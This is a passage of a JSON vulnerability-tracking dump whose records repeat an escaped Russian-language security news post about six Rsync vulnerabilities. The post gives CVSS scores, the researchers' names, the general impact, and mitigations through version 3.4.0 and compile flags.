\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "09a505f0-8862-40aa-b7e8-facb2bf6bc4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "db1e3d6b-8d29-4b1c-a1ca-b8d4900479c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "dc6f336e-ecaf-431f-9b0f-ac1dcac42d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 